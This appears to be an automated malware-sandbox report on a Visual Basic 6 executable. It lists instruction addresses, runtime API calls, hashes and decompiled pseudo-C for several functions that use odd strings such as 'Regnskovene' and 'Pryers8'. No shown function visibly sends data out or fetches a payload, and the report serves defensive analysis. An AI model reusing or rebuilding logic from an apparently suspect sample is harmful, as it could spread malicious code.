      0x004137cd
      0x004137d4
      0x004137d5
      0x004137d8
      0x004137d9
      0x004137e0
      0x004137eb
      0x004137f3
      0x004137f9
      0x004137ff
      0x00413801
      0x00413806
      0x0041380b
      0x0041380b
      0x00413810
      0x0041381d
      0x00413822
      0x00413824
      0x00413826
      0x00413828
      0x0041382d
      0x0041382e
      0x0041382f
      0x0041382f
      0x00413834
      0x00413838
      0x0041383c
      0x00413841
      0x00413843
      0x00413845
      0x00413847
      0x0041384c
      0x0041384d
      0x0041384e
      0x0041384e
      0x00413856
      0x0041385b
      0x00413861
      0x00413863
      0x00413868
      0x0041386d
      0x0041386d
      0x00413872
      0x0041387f
      0x00413884
      0x00413886
      0x00413888
      0x0041388a
      0x0041388f
      0x00413890
      0x00413891
      0x00413891
      0x00413896
      0x004138a0
      0x004138a2
      0x004138aa
      0x004138ac
      0x004138ae
      0x004138b3
      0x004138b8
      0x004138b9
      0x004138ba
      0x004138ba
      0x004138c5
      0x004138c8
      0x004138d0
      0x004138dd
      0x004138e4
      0x004138e9
      0x004138eb
      0x004138ed
      0x004138ef
      0x004138f4
      0x004138f5
      0x004138f6
      0x004138f6
      0x004138eb
      0x004138fe
      0x004138ff
      0x00413904
      0x00413907
      0x00413908
      0x00413912
      0x0041391a
      0x00413925
      0x00413928
      0x00413929
      0x00413956
      0x0041395e
      0x00413963

      APIs
      • __vbaI4Str.MSVBVM60(004107FC), ref: 004137BB
      • #608.MSVBVM60(?,00000000,004107FC), ref: 004137C5
      • __vbaVarTstNe.MSVBVM60(?,?,?,00000000,004107FC), ref: 004137E0
      • __vbaFreeVar.MSVBVM60(?,?,?,00000000,004107FC), ref: 004137EB
      • __vbaNew2.MSVBVM60(0041082C,004172D4,?,?,?,00000000,004107FC), ref: 0041380B
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,0000004C), ref: 0041382F
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041083C,00000028), ref: 0041384E
      • __vbaFreeObj.MSVBVM60(00000000,?,0041083C,00000028), ref: 00413856
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 0041386D
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413891
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000D8), ref: 004138BA
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,000000D8), ref: 004138C8
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000D8), ref: 004138D0
      • __vbaFpI4.MSVBVM60(00000000,?,0041084C,000000D8), ref: 004138DD
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401168,004103E8,00000064), ref: 004138F6
      • #612.MSVBVM60(?,?,?,?,00000000,004107FC), ref: 004138FF
      • __vbaStrVarMove.MSVBVM60(?,?,?,?,?,00000000,004107FC), ref: 00413908
      • __vbaStrMove.MSVBVM60(?,?,?,?,?,00000000,004107FC), ref: 00413912
      • __vbaFreeVar.MSVBVM60(?,?,?,?,?,00000000,004107FC), ref: 0041391A
      • __vbaFreeStr.MSVBVM60(00413964,?,?,?,?,?,00000000,004107FC), ref: 00413956
      • __vbaFreeStr.MSVBVM60(00413964,?,?,?,?,?,00000000,004107FC), ref: 0041395E
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$CheckHresult$Move$New2$#608#612
      • String ID:
      • API String ID: 1707968952-0
      • Opcode ID: e25ea650073a7091b6cb56d71da7e2a1f4272e93614a53dc29912a6efcceb859
      • Instruction ID: 92773ed83d292c6b612a69604d8aaac86e6a6982092320d66f82baba787f4c99
      • Opcode Fuzzy Hash: e25ea650073a7091b6cb56d71da7e2a1f4272e93614a53dc29912a6efcceb859
      • Instruction Fuzzy Hash: 41511C70D00208AACB10EFA6C886DDEBBF8AF54705F10856BF505B71B1CBB85945CB68
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 56%
      			E00413FD0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a20) {
      				char _v8;
      				intOrPtr _v12;
      				intOrPtr _v16;
      				char _v28;
      				char _v48;
      				void* _v52;
      				intOrPtr _v60;
      				char _v68;
      				char _v84;
      				char _v100;
      				char* _v108;
      				char _v116;
      				intOrPtr _v124;
      				char _v132;
      				intOrPtr* _v144;
      				intOrPtr* _t51;
      				char* _t56;
      				char* _t58;
      				void* _t64;
      				intOrPtr* _t65;
      				char* _t83;
      				intOrPtr* _t87;
      				void* _t89;
      				void* _t91;
      				intOrPtr _t92;
      				intOrPtr _t97;
      
      				_t92 = _t91 - 0xc;
      				 *[fs:0x0] = _t92;
      				_v16 = _t92 - 0x84;
      				_v12 = 0x4011f8;
      				_v8 = 0;
      				_t51 = _a4;
      				 *((intOrPtr*)( *_t51 + 4))(_t51, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t89);
      				_v28 = 0;
      				_v48 = 0;
      				_v52 = 0;
      				_v68 = 0;
      				_v84 = 0;
      				_v100 = 0;
      				_v116 = 0;
      				_v132 = 0;
      				L00401492();
      				_v108 = L"13:13:13";
      				_v116 = 8;
      				L00401450();
      				_push( &_v68);
      				_push( &_v84);
      				L00401456();
      				_v124 = 0xd;
      				_push( &_v84);
      				_t56 =  &_v132;
      				_push(_t56);
      				_v132 = 0x8002;
      				L004014E0();
      				_push( &_v84);
      				_t58 =  &_v68;
      				_push(_t58);
      				_push(2);
      				L00401498();
      				if(_t56 != 0) {
      					_v60 = 0x80020004;
      					_push( &_v68);
      					_v68 = 0xa;
      					L0040144A();
      					L004014CE();
      					_push( &_v68);
      					L00401438();
      					_t83 = 1;
      					_push(_t83);
      					_push( &_v68);
      					_push( &_v84);
      					L0040143E();
      					L00401444();
      					L004014CE();
      					_t97 =  *0x4172d4; // 0x21de8bc
      					if(_t97 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t87 =  *0x4172d4; // 0x21de8bc
      					_t64 =  *((intOrPtr*)( *_t87 + 0x4c))(_t87,  &_v52);
      					asm("fclex");
      					if(_t64 < 0) {
      						_push(0x4c);
      						_push(0x41081c);
      						_push(_t87);
      						_push(_t64);
      						L004014C2();
      					}
      					_v108 = _t83;
      					_v116 = 2;
      					_t65 = _v52;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v144 = _t65;
      					asm("movsd");
      					_t58 =  *((intOrPtr*)( *_t65 + 0x2c))(_t65);
      					asm("fclex");
      					if(_t58 < 0) {
      						_push(0x2c);
      						_push(0x41083c);
      						_push(_v144);
      						_push(_t58);
      						L004014C2();
      					}
      					L004014BC();
      				}
      				_push(0x414190);
      				L0040149E();
      				L004014CE();
      				return _t58;
      			}





























      0x00413fd3
      0x00413fe2
      0x00413ff2
      0x00413ff5
      0x00413ffe
      0x00414001
      0x00414007
      0x00414010
      0x00414013
      0x00414016
      0x00414019
      0x0041401c
      0x0041401f
      0x00414022
      0x00414025
      0x00414028
      0x00414033
      0x0041403a
      0x00414041
      0x00414049
      0x0041404d
      0x0041404e
      0x00414056
      0x0041405d
      0x0041405e
      0x00414061
      0x00414062
      0x00414069
      0x00414074
      0x00414075
      0x00414078
      0x00414079
      0x0041407b
      0x00414086
      0x0041408f
      0x00414096
      0x00414097
      0x0041409e
      0x004140a6
      0x004140ae
      0x004140af
      0x004140b9
      0x004140ba
      0x004140bb
      0x004140bf
      0x004140c0
      0x004140cb
      0x004140d3
      0x004140d8
      0x004140de
      0x004140e0
      0x004140e5
      0x004140ea
      0x004140ea
      0x004140ef
      0x004140fc
      0x00414101
      0x00414103
      0x00414105
      0x00414107
      0x0041410c
      0x0041410d
      0x0041410e
      0x0041410e
      0x00414116
      0x0041411e
      0x00414125
      0x00414128
      0x0041412c
      0x0041412d
      0x0041412e
      0x00414134
      0x00414135
      0x0041413a
      0x0041413c
      0x0041413e
      0x00414140
      0x00414145
      0x0041414b
      0x0041414c
      0x0041414c
      0x00414154
      0x00414154
      0x00414159
      0x00414182
      0x0041418a
      0x0041418f

      APIs
      • __vbaStrCopy.MSVBVM60 ref: 00414028
      • __vbaVarDup.MSVBVM60 ref: 00414041
      • #547.MSVBVM60(?,?), ref: 0041404E
      • __vbaVarTstNe.MSVBVM60(?,?,?,?), ref: 00414069
      • __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?), ref: 0041407B
      • #648.MSVBVM60(?), ref: 0041409E
      • __vbaFreeVar.MSVBVM60(?), ref: 004140A6
      • #610.MSVBVM60(0000000A,?), ref: 004140AF
      • #552.MSVBVM60(?,0000000A,00000001,0000000A,?), ref: 004140C0
      • __vbaVarMove.MSVBVM60(?,0000000A,00000001,0000000A,?), ref: 004140CB
      • __vbaFreeVar.MSVBVM60(?,0000000A,00000001,0000000A,?), ref: 004140D3
      • __vbaNew2.MSVBVM60(0041082C,004172D4,?,0000000A,00000001,0000000A,?), ref: 004140EA
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,0000004C), ref: 0041410E
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041083C,0000002C), ref: 0041414C
      • __vbaFreeObj.MSVBVM60(00000000,?,0041083C,0000002C), ref: 00414154
      • __vbaFreeStr.MSVBVM60(00414190), ref: 00414182
      • __vbaFreeVar.MSVBVM60(00414190), ref: 0041418A
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$Free$CheckHresult$#547#552#610#648CopyListMoveNew2
      • String ID: 13:13:13
      • API String ID: 1061862448-1048696597
      • Opcode ID: 7a312dfcd1ca6667f8c551b787bec69111971ccc44569de6fb46b25746f1ead1
      • Instruction ID: f9bcee4ee72064c0f1a28daf8eaf230579e8f4bd74fd86cb053668c194a3b225
      • Opcode Fuzzy Hash: 7a312dfcd1ca6667f8c551b787bec69111971ccc44569de6fb46b25746f1ead1
      • Instruction Fuzzy Hash: 6641D8B1900218ABDB10EFE5CC86ADEBBB8BF14704F50412EF505B71A2DBB85949CB94
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 35%
      			E00413CD5(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4) {
      				intOrPtr _v8;
      				long long* _v12;
      				char _v24;
      				long long _v32;
      				char _v36;
      				char _v40;
      				signed long long _v68;
      				intOrPtr _t28;
      				intOrPtr _t38;
      				long long* _t39;
      
      				_push(__ecx);
      				_push(__ecx);
      				_push(0x401306);
      				_t28 =  *[fs:0x0];
      				_push(_t28);
      				 *[fs:0x0] = _t38;
      				_t39 = _t38 - 0x30;
      				_push(__ebx);
      				_push(__esi);
      				_push(__edi);
      				_v12 = _t39;
      				_v8 = 0x4011d8;
      				_push(__ecx);
      				_push(__ecx);
      				asm("fldz");
      				 *_t39 = __fp0;
      				_v24 = 0;
      				_v36 = 0;
      				_v40 = 0;
      				L00401468();
      				L0040146E();
      				asm("fcomp qword [0x4011d0]");
      				asm("fnstsw ax");
      				asm("sahf");
      				if(0 != 0) {
      					__eflags =  *0x4172d4 - __edi; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__esi =  *0x4172d4; // 0x21de8bc
      					__ecx =  &_v40;
      					__eax =  *__esi;
      					__eax =  *((intOrPtr*)( *__esi + 0x14))(__esi,  &_v40);
      					__eflags = __eax - __edi;
      					asm("fclex");
      					if(__eax < __edi) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__eax = _v40;
      					__ecx =  *__eax;
      					__esi = __eax;
      					__eax =  *((intOrPtr*)( *__eax + 0xf0))(__eax,  &_v36);
      					__eflags = __eax - __edi;
      					asm("fclex");
      					if(__eax < __edi) {
      						_push(0xf0);
      						_push(0x41084c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__ecx =  &_v24;
      					_v36 = __edi;
      					L004014B6();
      					__ecx =  &_v40;
      					L004014BC();
      					__eflags =  *0x4172d4 - __edi; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__esi =  *0x4172d4; // 0x21de8bc
      					__ecx =  &_v40;
      					__eax =  *__esi;
      					__eax =  *((intOrPtr*)( *__esi + 0x14))(__esi,  &_v40);
      					__eflags = __eax - __edi;
      					asm("fclex");
      					if(__eax < __edi) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__eax = _v40;
      					__ecx =  *__eax;
      					__esi = __eax;
      					__eax =  *((intOrPtr*)( *__eax + 0x138))(__eax, L"NORES", 1);
      					__eflags = __eax - __edi;
      					asm("fclex");
      					if(__eax < __edi) {
      						_push(0x138);
      						_push(0x41084c);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      					__ecx =  &_v40;
      					L004014BC();
      					__fp0 =  *0x4011c8;
      					_push(__ecx);
      					__esi = _a4;
      					 *__esp =  *0x4011c8;
      					__fp0 =  *0x4011c0;
      					__eflags =  *0x417000;
      					if( *0x417000 != 0) {
      						_push( *0x4011bc);
      						_push( *0x4011b8);
      						L00401324();
      					} else {
      						__fp0 = __fp0 /  *0x4011b8;
      					}
      					_push(__ecx);
      					__ebx =  *__esi;
      					asm("fnstsw ax");
      					__eflags = __al & 0x0000000d;
      					if((__al & 0x0000000d) != 0) {
      						return __imp____vbaFPException();
      					}
      					_v68 = __fp0;
      					__fp0 = _v68;
      					 *__esp = _v68;
      					__fp0 =  *0x4011b0;
      					 *__esp =  *0x4011b0;
      					__fp0 =  *0x4011a8;
      					L004014B0();
      					__fp0 =  *0x4011b0;
      					 *__esp =  *0x4011b0;
      					__fp0 =  *0x4011a4;
      					 *__esp =  *0x4011a4;
      					__fp0 =  *0x4011a0;
      					 *__esp =  *0x4011a0;
      					__eax =  *((intOrPtr*)(__ebx + 0x2c0))(__esi, 0x1c2, __ecx, __ecx, __ecx, __eax, __ecx);
      					__eflags = __eax - __edi;
      					asm("fclex");
      					if(__eax < __edi) {
      						_push(0x2c0);
      						_push(0x4103e8);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      				}
      				asm("wait");
      				_push(0x413ede);
      				_v32 =  *0x401198;
      				L0040149E();
      				return _t28;
      			}













      0x00413cd8
      0x00413cd9
      0x00413cda
      0x00413cdf
      0x00413ce5
      0x00413ce6
      0x00413ced
      0x00413cf0
      0x00413cf1
      0x00413cf2
      0x00413cf3
      0x00413cf6
      0x00413cfd
      0x00413cfe
      0x00413cff
      0x00413d03
      0x00413d06
      0x00413d09
      0x00413d0c
      0x00413d0f
      0x00413d14
      0x00413d19
      0x00413d1f
      0x00413d21
      0x00413d22
      0x00413d28
      0x00413d2e
      0x00413d30
      0x00413d35
      0x00413d3a
      0x00413d3a
      0x00413d3f
      0x00413d45
      0x00413d4a
      0x00413d4c
      0x00413d4f
      0x00413d51
      0x00413d53
      0x00413d55
      0x00413d57
      0x00413d5c
      0x00413d5d
      0x00413d5e
      0x00413d5e
      0x00413d63
      0x00413d6b
      0x00413d6d
      0x00413d6f
      0x00413d75
      0x00413d77
      0x00413d79
      0x00413d7b
      0x00413d80
      0x00413d85
      0x00413d86
      0x00413d87
      0x00413d87
      0x00413d8f
      0x00413d92
      0x00413d95
      0x00413d9a
      0x00413d9d
      0x00413da2
      0x00413da8
      0x00413daa
      0x00413daf
      0x00413db4
      0x00413db4
      0x00413db9
      0x00413dbf
      0x00413dc4
      0x00413dc6
      0x00413dc9
      0x00413dcb
      0x00413dcd
      0x00413dcf
      0x00413dd1
      0x00413dd6
      0x00413dd7
      0x00413dd8
      0x00413dd8
      0x00413ddd
      0x00413de8
      0x00413dea
      0x00413dec
      0x00413df2
      0x00413df4
      0x00413df6
      0x00413df8
      0x00413dfd
      0x00413e02
      0x00413e03
      0x00413e04
      0x00413e04
      0x00413e09
      0x00413e0c
      0x00413e11
      0x00413e17
      0x00413e18
      0x00413e1b
      0x00413e1e
      0x00413e24
      0x00413e2b
      0x00413e35
      0x00413e3b
      0x00413e41
      0x00413e2d
      0x00413e2d
      0x00413e2d
      0x00413e46
      0x00413e47
      0x00413e49
      0x00413e4b
      0x00413e4d
      0x0040130c
      0x0040130c
      0x00413e53
      0x00413e56
      0x00413e59
      0x00413e5c
      0x00413e63
      0x00413e66
      0x00413e6c
      0x00413e71
      0x00413e79
      0x00413e7c
      0x00413e83
      0x00413e86
      0x00413e8d
      0x00413e96
      0x00413e9c
      0x00413e9e
      0x00413ea0
      0x00413ea2
      0x00413ea7
      0x00413eac
      0x00413ead
      0x00413eae
      0x00413eae
      0x00413ea0
      0x00413eb9
      0x00413eba
      0x00413ebf
      0x00413ed8
      0x00413edd

      APIs
      • #584.MSVBVM60 ref: 00413D0F
      • __vbaFpR8.MSVBVM60 ref: 00413D14
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00413D3A
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413D5E
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000F0), ref: 00413D87
      • __vbaStrMove.MSVBVM60(00000000,?,0041084C,000000F0), ref: 00413D95
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,000000F0), ref: 00413D9D
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00413DB4
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00413DD8
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000138), ref: 00413E04
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000138), ref: 00413E0C
      • _adj_fdiv_m64.MSVBVM60 ref: 00413E41
      • __vbaFpI4.MSVBVM60 ref: 00413E6C
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,004103E8,000002C0,?,?,?,00000000), ref: 00413EAE
      • __vbaFreeStr.MSVBVM60(00413EDE), ref: 00413ED8
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckHresult$Free$New2$#584Move_adj_fdiv_m64
      • String ID: NORES
      • API String ID: 111481528-4072806542
      • Opcode ID: ace71189d1d3148da126ac31ace2b8de295c37251aec874d2248ae0a0867672a
      • Instruction ID: 6dc10b73c9b9b65333793f94a287755d98eef21f8d3bf072f5f03e965a9e5de8
      • Opcode Fuzzy Hash: ace71189d1d3148da126ac31ace2b8de295c37251aec874d2248ae0a0867672a
      • Instruction Fuzzy Hash: E4517C70A40204EBDB14AF91DD8AEEE7BB8FB08705F1006AAF184770F1C7B859418B68
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 46%
      			E00416599(void* __ebx, void* __ecx, void* __edi, void* __esi) {
      				intOrPtr _v8;
      				intOrPtr _v12;
      				intOrPtr _v28;
      				void* _v32;
      				char _v48;
      				intOrPtr _v56;
      				char _v64;
      				intOrPtr _v72;
      				char _v80;
      				intOrPtr _v88;
      				char _v96;
      				char* _v104;
      				char _v112;
      				char _v164;
      				intOrPtr* _v176;
      				char* _t50;
      				void* _t52;
      				intOrPtr* _t53;
      				void* _t54;
      				void* _t56;
      				intOrPtr* _t57;
      				void* _t58;
      				char _t68;
      				intOrPtr* _t88;
      				intOrPtr* _t89;
      				intOrPtr* _t90;
      				intOrPtr _t94;
      				intOrPtr _t100;
      				intOrPtr _t103;
      
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t94;
      				_v12 = _t94 - 0xa4;
      				_v8 = 0x4012d8;
      				_t50 =  &_v48;
      				_push(_t50);
      				_v32 = 0;
      				_v64 = 0;
      				_v80 = 0;
      				_v96 = 0;
      				_v112 = 0;
      				_v164 = 0;
      				_v48 = 1;
      				L00401396();
      				L004014CE();
      				if( ~(0 | _t50 != 0x0000ffff) != 0) {
      					_t100 =  *0x4172d4; // 0x21de8bc
      					if(_t100 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t88 =  *0x4172d4; // 0x21de8bc
      					_t52 =  *((intOrPtr*)( *_t88 + 0x14))(_t88,  &_v32);
      					asm("fclex");
      					if(_t52 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t88);
      						_push(_t52);
      						L004014C2();
      					}
      					_t53 = _v32;
      					_t89 = _t53;
      					_t54 =  *((intOrPtr*)( *_t53 + 0x70))(_t53,  &_v164);
      					asm("fclex");
      					if(_t54 < 0) {
      						_push(0x70);
      						_push(0x41084c);
      						_push(_t89);
      						_push(_t54);
      						L004014C2();
      					}
      					L004014BC();
      					_t103 =  *0x4172d4; // 0x21de8bc
      					if(_t103 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t90 =  *0x4172d4; // 0x21de8bc
      					_t56 =  *((intOrPtr*)( *_t90 + 0x14))(_t90,  &_v32);
      					asm("fclex");
      					if(_t56 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t90);
      						_push(_t56);
      						L004014C2();
      					}
      					_t68 = 0xa;
      					_v104 = 0x80020004;
      					_v112 = _t68;
      					_t57 = _v32;
      					asm("movsd");
      					asm("movsd");
      					asm("movsd");
      					_v176 = _t57;
      					asm("movsd");
      					_t58 =  *((intOrPtr*)( *_t57 + 0x13c))(_t57, L"Regnskovene");
      					asm("fclex");
      					if(_t58 < 0) {
      						_push(0x13c);
      						_push(0x41084c);
      						_push(_v176);
      						_push(_t58);
      						L004014C2();
      					}
      					L004014BC();
      					_v88 = 0x80020004;
      					_v96 = _t68;
      					_v72 = 0x80020004;
      					_v80 = _t68;
      					_v56 = 0x80020004;
      					_v64 = _t68;
      					_v104 = L"Pryers8";
      					_v112 = 8;
      					L00401450();
      					_push( &_v96);
      					_push( &_v80);
      					_push( &_v64);
      					_push(0);
      					_push( &_v48);
      					L004013FC();
      					_push( &_v96);
      					_push( &_v80);
      					_push( &_v64);
      					_t50 =  &_v48;
      					_push(_t50);
      					_push(4);
      					L00401498();
      				}
      				_v28 = 0x726d;
      				_push(0x416795);
      				return _t50;
      			}
































      0x0041659e
      0x004165a9
      0x004165aa
      0x004165ba
      0x004165bd
      0x004165c4
      0x004165c9
      0x004165ca
      0x004165cd
      0x004165d0
      0x004165d3
      0x004165d6
      0x004165d9
      0x004165df
      0x004165e6
      0x004165fc
      0x00416604
      0x0041660a
      0x00416610
      0x00416612
      0x00416617
      0x0041661c
      0x0041661c
      0x00416621
      0x0041662e
      0x00416633
      0x00416635
      0x00416637
      0x00416639
      0x0041663e
      0x0041663f
      0x00416640
      0x00416640
      0x00416645
      0x00416652
      0x00416654
      0x00416659
      0x0041665b
      0x0041665d
      0x0041665f
      0x00416664
      0x00416665
      0x00416666
      0x00416666
      0x0041666e
      0x00416673
      0x00416679
      0x0041667b
      0x00416680
      0x00416685
      0x00416685
      0x0041668a
      0x00416697
      0x0041669c
      0x0041669e
      0x004166a0
      0x004166a2
      0x004166a7
      0x004166a8
      0x004166a9
      0x004166a9
      0x004166b3
      0x004166b4
      0x004166be
      0x004166c3
      0x004166c6
      0x004166ce
      0x004166cf
      0x004166d1
      0x004166d7
      0x004166d8
      0x004166e0
      0x004166e2
      0x004166e4
      0x004166e9
      0x004166ee
      0x004166f4
      0x004166f5
      0x004166f5
      0x004166fd
      0x0041670d
      0x00416710
      0x00416713
      0x00416716
      0x00416719
      0x0041671c
      0x0041671f
      0x00416726
      0x0041672d
      0x00416735
      0x00416739
      0x0041673d
      0x00416741
      0x00416743
      0x00416744
      0x0041674c
      0x00416750
      0x00416754
      0x00416755
      0x00416758
      0x00416759
      0x0041675b
      0x00416760
      0x00416763
      0x0041676a
      0x00000000

      APIs
      • #560.MSVBVM60(?), ref: 004165E6
      • __vbaFreeVar.MSVBVM60(?), ref: 004165FC
      • __vbaNew2.MSVBVM60(0041082C,004172D4,?), ref: 0041661C
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 00416640
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000070), ref: 00416666
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,00000070), ref: 0041666E
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 00416685
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 004166A9
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,0000013C), ref: 004166F5
      • __vbaFreeObj.MSVBVM60(00000000,?,0041084C,0000013C), ref: 004166FD
      • __vbaVarDup.MSVBVM60(00000000,?,0041084C,0000013C), ref: 0041672D
      • #595.MSVBVM60(00000001,00000000,?,?,?), ref: 00416744
      • __vbaFreeVarList.MSVBVM60(00000004,00000001,?,?,?,00000001,00000000,?,?,?), ref: 0041675B
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckFreeHresult$New2$#560#595List
      • String ID: Pryers8$Regnskovene$mr
      • API String ID: 524676261-4092885739
      • Opcode ID: f8b6e6b5cdaa8171973b82a2f26428a10dbcb9cc31742e2c08714ea6d2dba281
      • Instruction ID: 956991553e4c8748e8c6ae98f8c27248e5696d8272b2abb1d0d88c0130f92d1f
      • Opcode Fuzzy Hash: f8b6e6b5cdaa8171973b82a2f26428a10dbcb9cc31742e2c08714ea6d2dba281
      • Instruction Fuzzy Hash: 6A5129B1D00209AEDB10EFA6C885ADEBBF8AF04704F50816AF519B71E1D7B855458FA8
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 53%
      			E004167B2(void* __ebx, void* __ecx, void* __edi, void* __esi) {
      				intOrPtr _v8;
      				intOrPtr _v12;
      				char _v24;
      				intOrPtr _v28;
      				char _v32;
      				void* _v36;
      				void* _t19;
      				intOrPtr* _t20;
      				void* _t21;
      				intOrPtr* _t34;
      				intOrPtr* _t35;
      				intOrPtr _t38;
      				intOrPtr _t40;
      
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t38;
      				_v12 = _t38 - 0x28;
      				_v8 = 0x4012e8;
      				_t40 =  *0x4172d4; // 0x21de8bc
      				_v24 = 0;
      				_v32 = 0;
      				_v36 = 0;
      				if(_t40 == 0) {
      					_push(0x4172d4);
      					_push(0x41082c);
      					L004014C8();
      				}
      				_t34 =  *0x4172d4; // 0x21de8bc
      				_t19 =  *((intOrPtr*)( *_t34 + 0x14))(_t34,  &_v36);
      				asm("fclex");
      				if(_t19 < 0) {
      					_push(0x14);
      					_push(0x41081c);
      					_push(_t34);
      					_push(_t19);
      					L004014C2();
      				}
      				_t20 = _v36;
      				_t35 = _t20;
      				_t21 =  *((intOrPtr*)( *_t20 + 0x60))(_t20,  &_v32);
      				asm("fclex");
      				if(_t21 < 0) {
      					_push(0x60);
      					_push(0x41084c);
      					_push(_t35);
      					_push(_t21);
      					L004014C2();
      				}
      				_v32 = 0;
      				L004014B6();
      				L004014BC();
      				L00401390();
      				_v28 = 0x2a4f66;
      				_push(0x416886);
      				L0040149E();
      				return _t21;
      			}
















      0x004167b7
      0x004167c2
      0x004167c3
      0x004167d0
      0x004167d3
      0x004167dc
      0x004167e2
      0x004167e5
      0x004167e8
      0x004167eb
      0x004167ed
      0x004167f2
      0x004167f7
      0x004167f7
      0x004167fc
      0x00416809
      0x0041680e
      0x00416810
      0x00416812
      0x00416814
      0x00416819
      0x0041681a
      0x0041681b
      0x0041681b
      0x00416820
      0x0041682a
      0x0041682c
      0x00416831
      0x00416833
      0x00416835
      0x00416837
      0x0041683c
      0x0041683d
      0x0041683e
      0x0041683e
      0x00416849
      0x0041684c
      0x00416854
      0x00416859
      0x0041685e
      0x00416865
      0x00416880
      0x00416885

      APIs
      • __vbaNew2.MSVBVM60(0041082C,004172D4), ref: 004167F7
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 0041681B
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,00000060), ref: 0041683E
